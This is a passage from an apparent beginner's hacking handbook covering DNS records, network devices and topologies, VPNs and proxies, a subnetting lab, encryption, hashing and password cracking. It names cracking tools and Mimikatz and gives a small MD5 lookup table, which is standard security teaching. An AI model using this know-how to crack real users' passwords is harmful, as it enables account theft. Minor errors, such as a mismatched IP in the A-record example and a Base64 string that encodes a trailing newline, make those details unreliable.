Recommended Video: https://www.youtube.com/watch?v=Azn7KF9dB8s
Basic DNS Records
Now that we know how DNS works, let’s explore the various types of DNS records
you’ll typically encounter. DNS records are like instructions that tell DNS servers
how to handle requests for a specific domain. Here’s a breakdown of some of the
most common DNS records:
162
5/26/25, 7:47 PM
NCA's Hacking Handbook
A Record (Address Record)
The A Record is the most common DNS record. It maps a domain to an IPv4
address. This is the record that tells the DNS resolver what IP address to associate
with a domain name. When someone types ncateam.xyz into their browser, it looks
up the A record to find the IP address of the website.
• Example A Record for ncateam.xyz :
ncateam.xyz.
IN
A
112.61.6.15
This means that when someone looks up ncateam.xyz , the DNS resolver will
return the IP address 192.168.1.1 .
In real-world scenarios, the A record is crucial for routing traffic to the correct
server hosting the website or service. If ncateam.xyz is hosted on a server with IP
112.61.6.15 , the A record will point to that.
CNAME Record (Canonical Name Record)
A CNAME Record is used to alias one domain name to another. It's useful when you
want multiple domain names to point to the same website or service, such as
www.ncateam.xyz and ncateam.xyz pointing to the same web server.
• Example CNAME Record for www.ncateam.xyz :
www.ncateam.xyz.
IN
CNAME
ncateam.xyz.
This tells the DNS server that www.ncateam.xyz is just an alias for
ncateam.xyz . So, if someone types www.ncateam.xyz , the DNS resolver will
ultimately return the IP address associated with ncateam.xyz .
In the real world, using CNAME records is very common. For instance, www is
typically a CNAME record pointing to the root domain.
MX Record (Mail Exchange Record)
163
5/26/25, 7:47 PM
NCA's Hacking Handbook
The MX Record is used to specify the mail server responsible for receiving email
messages for a domain. If you’re sending an email to someone at @ncateam.xyz ,
the sending server needs to know where to deliver the email. This is where MX
records come into play.
• Example MX Record for ncateam.xyz :
ncateam.xyz.
IN
MX
10
mail.ncateam.xyz.
This means that emails sent to user@ncateam.xyz should be delivered to
mail.ncateam.xyz . The priority (10 in this case) indicates the order in which
mail servers should be used if multiple MX records are available.
In the real world, companies often have multiple MX records for redundancy. If one
mail server goes down, the email can be routed to another server with a higher
priority number.
TXT Record (Text Record)
The TXT Record is used to store arbitrary text data. It’s often used for SPF (Sender
Policy Framework), which helps reduce email spoofing by verifying that an email is
coming from an authorized server. TXT records can also be used for domain
verification in services like Google Search Console or email services.
• Example TXT Record for ncateam.xyz :
ncateam.xyz.
IN
TXT
"v=spf1
include:spf.protection.outlook.com -all"
This SPF record tells mail servers that only servers authorized by
spf.protection.outlook.com are allowed to send emails on behalf of
ncateam.xyz . Any other mail server will be rejected.
In real-world scenarios, TXT records are critical for email authentication and
security, helping to prevent fraud and phishing attacks.
Real-World Scenario
164
5/26/25, 7:47 PM
NCA's Hacking Handbook
Let's imagine you're setting up your domain ncateam.xyz for a new web project.
Here's how DNS records come into play:
1. A Record: You point ncateam.xyz to the IP address of your server
( 112.61.6.15 ).
2. CNAME Record: You create a CNAME record so that www.ncateam.xyz points
to ncateam.xyz , ensuring that both www.ncateam.xyz and ncateam.xyz load
the same website.
3. MX Record: You configure an MX record to point to your mail server
( mail.ncateam.xyz ) so that people can send emails to user@ncateam.xyz .
4. TXT Record: You set up a TXT record to configure SPF, helping to prevent
spammers from sending fraudulent emails from @ncateam.xyz .
Now, when someone types ncateam.xyz into their browser, DNS steps in to
translate that name into an IP address, letting them access your website. Similarly, if
they send an email to user@ncateam.xyz , DNS helps ensure it reaches the correct
mail server.
Summary
DNS is essential to navigating the internet, allowing us to use easy-to-remember
domain names like ncateam.xyz instead of complex IP addresses. By
understanding how DNS works and how different types of DNS records are used,
you gain a deeper insight into the behind-the-scenes magic that makes the internet
function. Whether it's web traffic, emails, or security configurations, DNS records
help everything run smoothly and securely.
165
5/26/25, 7:47 PM
NCA's Hacking Handbook
Network Devices & Topologies
In any network, data needs to move efficiently between devices. This is where
network devices come in, acting as the traffic controllers of communication. Along
with these devices, networks are organized in different topologies (layouts) to
optimize performance, security, and scalability.
This section will break down three essential network devices—Routers, Switches,
and Firewalls—and explore common network topologies in real-world scenarios.
Network Devices
Routers (The Traffic Directors)
A router is like a GPS system for network traffic. It decides the best path for data to
travel between different networks. Routers connect different networks together, like
your home network and the internet.
Real-World Example:
Imagine your home network:
• Your internet service provider (ISP) assigns your home a public IP address.
• Inside your home, multiple devices (laptops, phones, smart TVs) need internet
access.
166
5/26/25, 7:47 PM
NCA's Hacking Handbook
• The router routes traffic from your devices to the internet while making sure
responses come back to the correct device.
Router Functions:
• Connects different networks (e.g., home to the internet, office to a data center).
• Uses Network Address Translation (NAT) to allow multiple devices to share a
single public IP.
• Uses Dynamic Routing Protocols (RIP, OSPF, BGP) to determine the best path
for data.
• Provides basic firewall functionality (blocks suspicious connections).
Key Router Ports:
• WAN (Wide Area Network) port → Connects to the internet.
• LAN (Local Area Network) ports → Connects to local devices.
Remember DHCP Server from previous section? Router can also have a DHCP Server
built-in into them.
Switches (The Internal Connectors)
A switch is like a high-speed traffic cop inside a network. It connects multiple
devices within the same local network and efficiently directs data only to the
intended recipient.
Real-World Example:
167
5/26/25, 7:47 PM
NCA's Hacking Handbook
In an office, multiple computers need to communicate within the internal network
without sending unnecessary data to everyone. A switch ensures that if Computer
A wants to send a file to Computer B, it won’t send it to every other device in the
office.
Switch Functions:
• Connects multiple devices within a local network.
• Uses MAC addresses to determine where to forward traffic (Layer 2 device).
• Reduces network congestion by sending data only to the correct destination.
• Supports VLANs (Virtual LANs) to separate traffic logically.
Switch Types:
• Unmanaged Switches → Simple, plug-and-play, no configuration needed.
• Managed Switches → Advanced, configurable for VLANs, QoS, and security
policies.
Firewalls (The Security Guards)
A firewall is a security device that controls incoming and outgoing network traffic
based on security rules. Think of it as the bouncer of the network, only allowing
authorized traffic in and blocking anything suspicious.
Real-World Example:
168
5/26/25, 7:47 PM
NCA's Hacking Handbook
Imagine a company has an internal database containing sensitive employee
records. A firewall ensures that only authorized users (such as HR staff) can access
it while blocking external hackers.
Firewall Functions:
• Filters traffic based on rules (allow HTTP traffic, block FTP traffic).
• Can be hardware-based (physical firewall appliance) or software-based
(Windows Defender Firewall).
• Uses packet filtering, stateful inspection, and deep packet inspection (DPI)
for security.
• Protects against cyber threats like DDoS attacks, unauthorized access, and
malware.
Types of Firewalls:
• Packet Filtering Firewalls → Examines each packet's header
(source/destination IP, port).
• Stateful Inspection Firewalls → Tracks active connections and allows only
expected responses.
• Next-Gen Firewalls (NGFWs) → Includes deep packet inspection, intrusion
prevention, and advanced threat protection.
There are more Network Devices like Hubs, Modems, Access points, Bridges,
Gateways, Load balancers, and Repeaters but we covered the most basics and
important ones. You can research about other yourself. :)
Common Network Layouts (Topologies)
A network topology defines how devices are arranged and connected. Different
topologies have advantages and disadvantages depending on scalability, cost, and
reliability.
Bus Topology (The Single Highway)
169
5/26/25, 7:47 PM
NCA's Hacking Handbook
A bus topology connects all devices using a single main cable. Data travels along
this cable, and all devices share the same transmission path.
Pros:
• Simple and cheap to set up.
• Works well for small networks.
Cons:
• If the main cable fails, the entire network goes down.
• Performance decreases as more devices are added.
Used in: Older LANs, industrial control networks.
Star Topology (The Central Hub)
A star topology has a central device (usually a switch OR hub) that connects all
other devices. Each device communicates through the central hub.
170
5/26/25, 7:47 PM
NCA's Hacking Handbook
Pros:
• If one device fails, it doesn't affect the entire network.
• Easy to add/remove devices without disrupting the network.
Cons:
• If the central switch fails, the whole network stops working.
Used in: Home and office networks, most modern Ethernet LANs.
171
5/26/25, 7:47 PM
NCA's Hacking Handbook
Mesh Topology (The Fully Connected Web)
In a mesh topology, every device is directly connected to multiple other devices,
ensuring multiple paths for data to travel.
Pros:
• Highly reliable—if one connection fails, data takes another path.
• Very secure, since data can take multiple encrypted routes.
172
5/26/25, 7:47 PM
NCA's Hacking Handbook
Cons:
• Expensive to set up (lots of cabling and configuration).
• Complex to manage in large-scale networks.
Used in: Military, financial institutions, high-security environments.
Ring Topology (The Circular Road)
In a ring topology, devices are connected in a circular format, where data moves in
one direction (or both directions in a dual-ring setup).
173
5/26/25, 7:47 PM
NCA's Hacking Handbook
Pros:
• Simple and structured.
• Faster than bus topology because data moves in one direction.
Cons:
• If one device fails, the entire network may break unless a backup ring exists.
• Adding/removing devices disrupts the network.
174
5/26/25, 7:47 PM
NCA's Hacking Handbook
Used in: Older token-ring networks, fiber-optic networks.
Hybrid Topology (The Flexible Mix)
A hybrid topology combines multiple topologies to create a more flexible and
scalable network. For example, a company might use star topology for office
workstations but mesh topology for critical data centers.
Pros:
• Highly scalable and flexible.
• Can be optimized for both cost and performance.
Cons:
• More complex to manage and configure.
Used in: Large enterprises, ISPs, cloud data centers.
Summary
Understanding network devices and topologies is fundamental to grasping how
data flows efficiently and securely.
• Routers connect networks and direct traffic between them.
• Switches connect devices within a local network and forward traffic
intelligently.
• Firewalls protect networks by filtering unwanted traffic.
• Topologies determine how devices are arranged, with star and hybrid
topologies being the most commonly used today.
175
5/26/25, 7:47 PM
NCA's Hacking Handbook
VPNs & Proxies
In cybersecurity and networking, VPNs (Virtual Private Networks) and Proxies are
crucial tools for privacy, security, and bypassing restrictions. They both help mask
your identity and route your traffic through another server, but they work in
fundamentally different ways.
What is a VPN?
A VPN (Virtual Private Network) is a technology that creates a secure, encrypted
tunnel between your device and a remote server. This tunnel protects your data
from prying eyes, such as ISPs, hackers, or government surveillance, and allows
you to access resources as if you were in another location.
How a VPN Works
Without VPN
With VPN
1. You connect to a VPN server using a VPN client.
2. Your data is encrypted before leaving your device.
3. The encrypted traffic is sent to the VPN server, where it is decrypted.
4. The VPN server forwards your request to the destination website or service.
5. The response follows the same path back, encrypted all the way to your
device.
176
5/26/25, 7:47 PM
NCA's Hacking Handbook
Since your real IP address is hidden, websites and services only see the VPN
server’s IP address. This provides anonymity and security.
How VPNs Are Useful in Real-World
Scenarios
• Privacy & Anonymity → Prevents ISPs, advertisers, and hackers from tracking
your online activity.
• Bypassing Geo-Restrictions → Access content blocked in your region (Netflix,
BBC iPlayer, etc.).
• Securing Public Wi-Fi → Protects data from man-in-the-middle (MITM) attacks
on open Wi-Fi networks.
• Accessing Private Networks → VPNs allow remote workers or pentesters to
access internal company networks.
• Hiding Network Activity from ISPs → ISPs can no longer monitor or throttle
your internet speed based on usage.
Using OpenVPN to Connect to an Isolated
Network (TryHackMe)
Pentesters often use VPNs to connect to isolated CTF (Capture The Flag)
networks on platforms, such as TryHackMe (THM) . These platforms provide
hacking challenges that require access to machines inside a controlled, virtual lab.
How It Works:
1. Download the OpenVPN configuration file (e.g., username.ovpn for
TryHackMe).
2. Use OpenVPN to connect:
┌──(kali㉿kali)-[~]
└─$ sudo openvpn username.ovpn
3. Once connected, you receive an internal VPN IP address (e.g., 10.10.14.3 ).
177
5/26/25, 7:47 PM
NCA's Hacking Handbook
4. Now, you can scan and interact with target machines inside the isolated
network using tools like nmap , netcat , or Metasploit .
Without a VPN, these private lab machines would be inaccessible from the public
internet.
How Proxies Work
A proxy server acts as an intermediary between your device and the internet.
Instead of connecting directly to a website, your traffic goes through the proxy
server first.
How a Proxy Works (Step-by-Step)
1. You send a request to access a website (e.g., ncateam.xyz ).
2. The proxy server receives the request and forwards it to the destination.
3. The website responds to the proxy server instead of you.
4. The proxy server sends the response back to your device.
Since the website only sees the proxy server’s IP address, your real IP is hidden.
Types of Proxies & Their Uses
1. Forward Proxy (Regular Proxy)
• Used by individual users to hide their IP or bypass restrictions.
• Example: Using a public proxy to access blocked websites.
178
5/26/25, 7:47 PM
NCA's Hacking Handbook
2. Reverse Proxy
• Sits in front of a web server to filter incoming requests.
• Used by companies to protect servers from direct attacks and load balance
traffic.
3. SOCKS Proxy (SOCKS5)
• Works at Layer 5 (Session Layer), meaning it can handle more than just web
traffic.
• Used for gaming, P2P, and secure traffic routing.
4. Transparent Proxy
• Users are unaware of its presence (often used in schools, companies).
• Used for content filtering and monitoring.
VPN vs. Proxy: What’s the Difference?
Feature
VPN
Proxy
Encryption
✅ Encrypts all traffic
❌ No encryption, only
changes IP
Anonymity
✅ Hides real IP completely
✅ Hides IP, but may still
leak DNS
Speed
❌ Slower (due to
encryption)
✅ Faster (no encryption
overhead)
Traffic Scope
✅ Routes all internet traffic
❌ Routes only specific app
traffic
Security
✅ Protects against ISP
tracking & hackers
❌ Can be intercepted
(especially HTTP proxies)
Usage
Secure browsing, remote
access
Web filtering, bypassing
geo-blocks
179
5/26/25, 7:47 PM
NCA's Hacking Handbook
Summary
Both VPNs and proxies help you stay anonymous online, but they serve different
purposes.
• VPNs encrypt all your traffic and provide privacy, security, and access to
restricted networks.
• Proxies only change your IP address for specific applications but don’t encrypt
traffic.
180
5/26/25, 7:47 PM
NCA's Hacking Handbook
Networking Capstone
Congratulations! You've completed the Networking sub-module! Now, it's time for a
quick test. We have two capstone assessments for Networking:
1. Questions Test – To assess your theoretical understanding.
2. Practical Lab Implementation – A hands-on challenge using Cisco Packet
Tracer.
Get ready to apply what you've learned!
Questions Test
We have questions to test your understanding uploaded in TryHackMe. You can
access the lab here: https://tryhackme.com/jr/networkingsubmodulecapstone .
Practical Lab Implementation
In this capstone project, you will learn how to set up a functional home lab using
Cisco Packet Tracer. This includes configuring routers, switches, and DHCP
servers, as well as designing a subnetted network to efficiently allocate IP
addresses. By the end of this project, you will have hands-on experience with
fundamental networking concepts applicable to real-world scenarios.
Expand following:
Scenario: Network Setup for XYZ Corp
XYZ Corp has hired you to design a simple yet efficient network
infrastructure for their office building. The building consists of five
181
5/26/25, 7:47 PM
NCA's Hacking Handbook
floors, each requiring a separate subnet for efficient traffic management.
The specific requirements are as follows:
Requirements:
• Each floor (except the top floor) has approximately 74 employees
who need network access.
• The top floor is reserved for the Board of Directors (BOD) and has
only 5 members.
• Each floor must have its own subnet.
• A router will act as the central DHCP server, assigning IP addresses
dynamically.
• A switch will be used to connect devices on each floor.
• Use a Class C private IP address ( 192.168.X.0/24 ) and subnet
accordingly.
Network IP Plan:
Since we covered subnetting, you can plan which subnet is sufficient for
each floors and start designing.
😇
Assignment Guidelines
Part 1: Network Design in Cisco Packet Tracer
1. Setup the Devices:
• Add a router to act as the DHCP server.
• Add five switches, one for each floor.
• Connect end devices (PCs) to each switch.
2. Configure the Router:
• Assign IP addresses to router interfaces.
• Enable DHCP on the router and configure separate DHCP pools
for each subnet.
182
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Ensure correct subnet mask and gateway assignments.
3. Configure the Switches:
• Assign management IPs to the switches (optional).
• Ensure proper connectivity between the router and switches.
4. Test the Network:
• Verify that each device receives the correct IP from the DHCP
pool.
• Ensure inter-floor communication is possible if required.
Part 2: Documentation Submission
• Document your setup process in detail, including:
◦ Device configurations (router, switches, PCs).
◦ IP addressing and subnet calculations.
◦ Screenshots of successful DHCP assignment.
• Write the documentation using one of the following methods:
◦ MS Word and export as PDF.
◦ Obsidian or Notion and export as PDF.
◦ Publish on Medium.com.
◦ Personal blog/writeup website (acceptable).
Part 3: Submission Guidelines
• Submit your Packet Tracer (.pkt) file.
• Submit a PDF report covering your network design and
configurations.
• Ensure all configurations are functional before submission.
Your submission will be evaluated based on the following:
• Correctness of the Network Setup (30%)
• Proper Subnetting and IP Allocation (20%)
• Successful DHCP Configuration (20%)
183
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Documentation Quality (20%)
• Presentation and Clarity (10%)
I don't know how to set up a router, switch, or DHCP server, and I've
never used Cisco Packet Tracer! Help!
If you don't know it yet, that's perfectly fine—you will learn it! The key to
learning is research!
Here’s how you can get started:
1. Google it! – Look for beginner tutorials on setting up routers,
switches, and DHCP servers in Cisco Packet Tracer.
2. Ask AI & LLMs – Use AI tools like ChatGPT to get step-by-step
guidance.
3. Utilize Community Resources – Join networking forums, Discord
servers, or subreddits like r/ccna to ask questions and see how
others solve similar problems.
4. Watch Tutorials – YouTube has tons of free Cisco Packet Tracer
tutorials.
5. Practice, Practice, Practice! – Open Packet Tracer, experiment, and
break things—then fix them!
You’ve got this! 😃🔥
184
5/26/25, 7:47 PM
NCA's Hacking Handbook
Cryptography
185
5/26/25, 7:47 PM
NCA's Hacking Handbook
Introduction
Cryptography is the science of securing communication and data from
unauthorized access. The word itself comes from the Greek words "kryptós"
(hidden) and "graphein" (to write). It is used in various fields, including online
security, banking, military communications, and digital signatures.
Cryptography ensures four key security principles:
• Confidentiality: Ensuring that information is accessible only to those who have
permission.
• Integrity: Protecting data from being altered or tampered with.
• Authentication: Verifying the identity of users.
• Non-repudiation: Ensuring that someone cannot deny their actions, such as
sending a message.
Classic Cryptography: The Foundation of
Encryption
Classic cryptography refers to historical methods of encrypting messages before
the advent of modern computer-based encryption. These methods rely on simple
mathematical operations, letter substitutions, and transpositions to obscure the
original message (plaintext) into an unreadable format (ciphertext). Classic
cryptography is divided into two main types:
Substitution Ciphers
These ciphers replace letters or symbols in a message with others using a fixed
system.
• Caesar Cipher: Shifts letters by a fixed number (e.g., A → D, B → E, etc.).
• Atbash Cipher: Reverses the alphabet (A ↔ Z, B ↔ Y, etc.).
• Vigenère Cipher: Uses multiple shifting sequences based on a keyword.
186
5/26/25, 7:47 PM
NCA's Hacking Handbook
Transposition Ciphers
Instead of replacing letters, these ciphers rearrange them according to a pattern.
• Rail Fence Cipher: Writes text in a zigzag pattern and reads it differently.
• Scytale Cipher: Uses a rod to wrap a strip of paper around to reveal a message.
• Route Cipher: Writes the message in a grid and reads it using a different route.
Modern Cryptography: Securing the Digital
World
Modern cryptography is the foundation of secure communication, data protection,
and cybersecurity today. Unlike classic cryptography, which relies on simple letter
manipulations, modern cryptography uses complex mathematical algorithms that
are computationally secure, making it much harder to break. Modern cryptography
is built on three key principles:
• Confidentiality: Preventing unauthorized access.
• Integrity: Ensuring that data remains unchanged.
• Authentication: Verifying identities securely.
Modern cryptography consists of three major types:
1. Symmetric-key cryptography: Both sender and receiver use the same key.
2. Public-key cryptography: Uses two keys (public and private) for encryption
and decryption.
3. Cryptographic hash functions: Converts data into a fixed-length hash that
cannot be reversed.
187
5/26/25, 7:47 PM
NCA's Hacking Handbook
En(De)coding & En(De)cryption
The page title is "Encoding/Decoding & Encryption/Decryption"
Now that we’ve introduced few cryptographic terms, let’s take a closer look at some
of the most important concepts. We’ll first explore encoding and decoding to
understand how they differ from encryption. Then, we’ll dive deep into encryption
and decryption, explaining how they work and why they are essential for secure
communication.
Encoding & Decoding
Encoding is the process of converting data into a different format for compatibility,
storage, or transmission. It does not involve secrecy or security but ensures that
data can be properly processed by different systems. Encoding is commonly used
in data transmission, file storage, and text representation.
Decoding is the reverse process, where encoded data is converted back into its
original form. Unlike decryption, decoding does not require a secret key—anyone
with knowledge of the encoding scheme can decode the data.
Examples of Encoding & Decoding
Encode & Decode
1. Base64: " Hello World! " —> SGVsbG8gV29ybGQhCg== —> " Hello World! "
2. URL Encoding: " Hello World! " → Hello%20World%21 —> " Hello World! "
188
5/26/25, 7:47 PM
NCA's Hacking Handbook
There are several tools available for cryptographic work, both online and offline.
Many websites offer quick Base64, URL, or ASCII conversion, while offline tools like
Python scripts, command-line utilities, and text editors with encoding support allow
for more control and automation.
Below is a list of online tools:
1. CyberChef - The Cyber Swiss Army Knife
2. Decode.fr
3. NCA Toolkit - Show us support
😇
4. Crackstation - Online Password Cracking Website
5. Hashes - Yet Another Online Password Cracking Website
Many other online encoding and decoding tools are also available.
Encryption
Encryption is the process of transforming plaintext (readable data) into ciphertext
(unreadable data) using a cryptographic algorithm and a key. The goal of
encryption is to make the data unintelligible to anyone who doesn't have the correct
key to decrypt it.
Encryption can be performed using various algorithms, with two main types:
1. Symmetric Encryption: Both the sender and receiver use the same key for
encryption and decryption. The main challenge here is securely sharing the key
between both parties. Example: AES (Advanced Encryption Standard).
2. Asymmetric Encryption: Involves a pair of keys: a public key used for
encryption and a private key used for decryption. The public key can be freely
shared, but the private key remains secret. Example: RSA, Elliptic Curve.
Example of Encryption
189
5/26/25, 7:47 PM
NCA's Hacking Handbook
Let's Encrypt HELLO NCA using AES. To do so, we will use this website:
https://www.devglan.com/online-tools/aes-encryption-decryption
You can use any website of your choice.
You can see the following image where we have HELLO NCA as Plain Text which we
are going to encrypt. And if you Notice the Secret Key used it's ThisIsTopSecret1 .
And We have our Cipher Text which is Encrypted.
190
5/26/25, 7:47 PM
NCA's Hacking Handbook
191
5/26/25, 7:47 PM
NCA's Hacking Handbook
If I share this encrypted cipher text with anyone, they won’t be able to decrypt it.
Why? Because I have only given them the cipher text, not our key.
But! But! But! What if I give them both our secret key and the cipher text? They can
Decrypt.
Decryption
Decryption is the reverse process of encryption. It converts ciphertext back into
plaintext using a cryptographic algorithm and a key. The recipient uses the correct
key to decrypt the data and recover the original message. In symmetric encryption,
the same key is used for both encryption and decryption. In asymmetric encryption,
the private key is used to decrypt data that was encrypted with the corresponding
public key.
Example of Decryption
Let's continue where we left off with encryption. We have the cipher text, and let's
assume we also have the secret key.
If they have both the cipher text and the secret key, they can decrypt the cipher text
and retrieve the original plaintext, as shown below:
192
5/26/25, 7:47 PM
NCA's Hacking Handbook
193
5/26/25, 7:47 PM
NCA's Hacking Handbook
In short, the following figure should provide a general idea of encryption and
decryption:
In the example above, we used AES as the algorithm, but there are many other
algorithms that we will learn about in the upcoming sections.
194
5/26/25, 7:47 PM
NCA's Hacking Handbook
Hashing and Hash Cracking
Introduction to Hasing
Hashing is a fundamental concept in cybersecurity. It’s not encryption, and it’s not
the same as encoding. It’s something entirely different—and understanding how it
works is crucial for working with passwords, data integrity, digital forensics, and
more.
Hashing is the process of taking input data and running it through a hash function,
which generates a fixed-length string that represents the original input. This output
is called a hash or digest. The idea is simple: the same input will always produce
the same output, but it’s nearly impossible to go backward from the output to the
input.
Hashing is used to:
• Store passwords securely
• Check whether files have been tampered with (using shasum commands)
Learn More at: here
• Detect duplicate files or data
• Support many cryptographic protocols
Unlike encryption, hashing is one-way—you cannot decrypt a hash. If the original
input is lost, there is no way to recover it from just the hash.
How Hash Functions Work
A hash function takes input of any size and produces output of a fixed size. It
doesn’t matter whether the input is a short word or a long file—the output size stays
constant.
195
5/26/25, 7:47 PM
NCA's Hacking Handbook
If you see the diagram below, even the caps A and a plain texts have different
hash/digest.
Good hash functions follow these rules:
• Deterministic: The same input always gives the same output.
• Fast to compute: Can handle large inputs quickly.
• Irreversible: It should be impossible to figure out the original input from the
hash.
• Collision-resistant: It should be extremely unlikely that two different inputs
produce the same hash.
• Avalanche effect: Changing even one bit of the input drastically changes the
output.
Hash Collisions and the Pigeonhole Principle
A hash collision happens when two different inputs produce the same hash. This is
undesirable, and secure hash functions try to make it very unlikely.
But mathematically, collisions are unavoidable. This is due to the pigeonhole
principle: if there are more possible inputs than outputs, some inputs must share
outputs.
196
5/26/25, 7:47 PM
NCA's Hacking Handbook
For example, if you have 128 unique inputs but only 96 possible hash outputs, some
of those inputs will map to the same output.
Historically, some older algorithms like MD5 and SHA1 have been broken using
engineered collisions—attacks where researchers created two different files that
hash to the same value.
For reference:
• MD5 collision example
• SHA1 collision example
As a result, these hash functions are no longer considered secure and should not
be used for password storage or file verification.
Why Use Hashing for Passwords?
When users create passwords for web applications, those passwords should never
be stored as plaintext. If an attacker breaches the database, they could immediately
see every user’s password. Because many people reuse passwords across sites,
this would have devastating consequences.
Instead of storing the password itself, the application stores the hash of the
password. When a user logs in:
1. They enter their password.
2. The system hashes the input.
3. It compares that hash to the stored one.
If they match, the password is correct. The actual password is never stored.
However, if two users have the same password, their hashes will also be the same.
This opens up the possibility for attackers to pre-compute lists of hashes and
corresponding passwords—a technique called rainbow table attacks.
197
5/26/25, 7:47 PM
NCA's Hacking Handbook
Rainbow Tables
A rainbow table is a precomputed list of hashes for known passwords. It’s a way to
reverse a hash by simply looking it up in a massive database.
For example:
Hash
Password
e99a18c428cb38d5f260853678922e03
abc123
e10adc3949ba59abbe56e057f20f883e
123456
b0baee9d279d34fa1dfd71aadb908c3f
11111
If an attacker sees a hash in a leaked database and finds a match in the rainbow
table, they’ve cracked the password instantly.
Online tools like Crackstation and Hashes.com use large internal rainbow
tables to help identify password hashes. These sites are especially useful for
beginners. You paste a hash, and if it’s in their database, you get the corresponding
password.
Defending Against Rainbow Tables with
Salts
To make rainbow tables ineffective, modern systems use a technique called salting.
A salt is a random string added to a password before it is hashed. Since the salt is
different for every user, the final hash will also be different—even if two users pick
the same password.
For example:
• Password: password123
198
5/26/25, 7:47 PM
NCA's Hacking Handbook
◦ Salt1: XJt93#1 → Hash: A12EF...
◦ Salt2: 5Uy!33$ → Hash: F8AC2...
Because the salt is random and unique per user, precomputed rainbow tables won’t
work unless the attacker already knows the salt—and has a rainbow table
specifically built for that salt.
Referenced from:
https://images.ctfassets.net/23aumh6u8s0i/5C8Vmfi1nfSSh9GDQw4IxZ/d2f5d28320b37760c2
e86b141822e029/password-salt-example
Salts are typically stored in the database alongside the hash. They don’t need to be
secret.
Common password-hashing algorithms like bcrypt, sha512crypt, and argon2
handle salting internally.
Learn more at: https://auth0.com/blog/adding-salt-to-hashing-a-better-way-tostore-passwords/
Identifying Hash Formats
Some hash formats include a prefix that helps identify the algorithm used. These
are especially common in Unix-like systems:
Prefix
Algorithm
$1$
md5crypt
199
5/26/25, 7:47 PM
NCA's Hacking Handbook
$2a$
bcrypt
On Unix systems, password hashes are stored in /etc/shadow , which is only
readable by the root user. In older systems, they were stored in /etc/passwd .
On Windows, password hashes are stored in the SAM file. These are typically in
NTLM format, which is based on a weaker algorithm (a variant of MD4). Windows
attempts to protect this file, but tools like Mimikatz can be used to extract and
dump password hashes.
Hash recognition tools like hashID can attempt to detect the hash type based on
the format and length, but they are not always accurate. It's best to rely on both
tooling and context.
Cracking Hashes
To recover the original password from a hash, you must crack it. This means:
1. Guess a password
2. Hash it (with the same algorithm and salt, if applicable)
3. Compare the result with the target hash
4. Repeat until you find a match
This can be done manually with scripts, or using automated tools.
For beginners, the easiest approach is to use:
• Crackstation or Hashes.com to look up hashes in known databases
• Wordlists like rockyou.txt to guess common passwords with tools like
hashcat or JohnTheRipper.
For more serious or custom cracking efforts, tools like Hashcat and John The
Ripper are used. These support many hash types, wordlists, rule-based cracking,
and can use GPU acceleration.
200
5/26/25, 7:47 PM
NCA's Hacking Handbook
We will explore Hashcat and John The Ripper in depth in a later chapter, including
how to run it, how to choose the right attack mode, and how to optimize it for your
system.
GPUs and Cracking Speed
Hash functions require a lot of math. GPUs are well suited for this because they can
run thousands of operations in parallel. This makes GPU cracking significantly
faster than CPU cracking for many hash types.
However, some algorithms like bcrypt are specifically designed to be slow and
resist GPU acceleration. These are better for password storage since they slow
down attackers.
Hashes for File Integrity
Hashing is also used to check that files haven’t been altered. When you hash a file
and get a known-good value (e.g., from a developer or software vendor), you can
later rehash your local copy and compare the values.
If the hashes match, the file is unchanged. If they differ, the file may have been
tampered with, corrupted, or replaced.
Hashing can also be used to find duplicate files by comparing their hash values.
Summary
Hashing is one of the most useful tools in cybersecurity. It allows us to:
• Store passwords safely
• Detect file tampering
• Find duplicate data
201
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Verify downloaded files
It’s also the first step in understanding more advanced cryptographic concepts.
Mastering the basics of hashing—and how to crack or protect hashes—is
foundational to real-world security work.
202
5/26/25, 7:47 PM
NCA's Hacking Handbook
Python
203
5/26/25, 7:47 PM
NCA's Hacking Handbook
Introduction
Python is a high-level programming language that is widely used for various
applications, including web development, data science, automation, artificial
intelligence, and cybersecurity. It is known for its simplicity and readability, making
it easy for beginners to learn while also being powerful enough for advanced users.
Python supports multiple programming styles, including object-oriented,
procedural, and functional programming, which makes it versatile and flexible for
different types of projects.
Python was developed by Guido van Rossum in the late 1980s and officially
released in 1991. Guido wanted to create a language that was easy to understand
and fun to use, so he designed Python with a clean and straightforward syntax.
Over the years, Python has gone through many updates and improvements,
becoming one of the most widely used programming languages in the world. Its
large community of developers continuously contributes to its development, making
it even better over time.
Why is it so popular?
Python is popular because of its ease of use, extensive libraries, and strong
community support. Unlike some other programming languages that require writing
long and complex code, Python allows programmers to achieve the same results
with fewer lines of code. It has libraries and frameworks for almost everything, from
data analysis to web development and machine learning. Its open-source nature
means anyone can use it for free and contribute to its improvement. These factors
make Python a top choice for beginners and professionals alike.
Why do we need python?
Python is also widely used in penetration testing (pentesting) because of its
powerful scripting capabilities and large collection of cybersecurity tools.
Pentesters use Python to create custom scripts for scanning networks, exploiting
204
5/26/25, 7:47 PM
NCA's Hacking Handbook
vulnerabilities, and automating security tasks. Many cybersecurity tools, such as
Scapy, Nmap, and Metasploit, have Python-based modules that make pentesting
more efficient. Python’s ability to interact with operating systems, networks, and
web applications makes it a valuable tool for security professionals who need to
test and secure systems against cyber threats.
In this sub-module, we will cover some of the most useful Python concepts you
need to know. You can then apply these concepts by exploring additional resources
and building projects as you progress.
How is Python Code Executed
Python code is executed through an interpreter, which is a program that reads and
executes the code line by line. When you write Python code and run it, the
interpreter translates it into machine code, which the computer can understand and
execute. The process begins when you invoke the Python interpreter, either by
running a script through a command line or by executing code inside an interactive
shell. The interpreter reads the code, processes it, and outputs the result to your
screen or performs the defined operations.
First, the Python code is compiled into an intermediate form called bytecode. This
bytecode is not machine-specific, meaning it can be run on any machine that has a
compatible Python interpreter. The compilation process doesn’t happen explicitly
when you run a script; instead, Python compiles the script into bytecode behind the
scenes. This bytecode is stored in a .pyc file, which the Python virtual machine
(PVM) uses to execute the code. The bytecode step helps Python achieve
portability across different platforms without needing to recompile the code each
time.
Once the bytecode is ready, the Python virtual machine (PVM) takes over. The
PVM is responsible for reading the bytecode and executing it on the computer’s
hardware. This is where Python's dynamic nature shines: it interprets the code at
runtime, meaning you can interact with the program while it's running, debugging
and modifying it as you go. This process allows Python to be highly flexible and
205
5/26/25, 7:47 PM
NCA's Hacking Handbook
easy to use, although it can be slower compared to languages like C, which are
directly compiled to machine code.
Code Editor
Since we've already covered Software Management, you can now try installing
VSCode on your Kali Linux. We will write and run code there.
Below are the steps to open a directory in VSCode and run Python code:
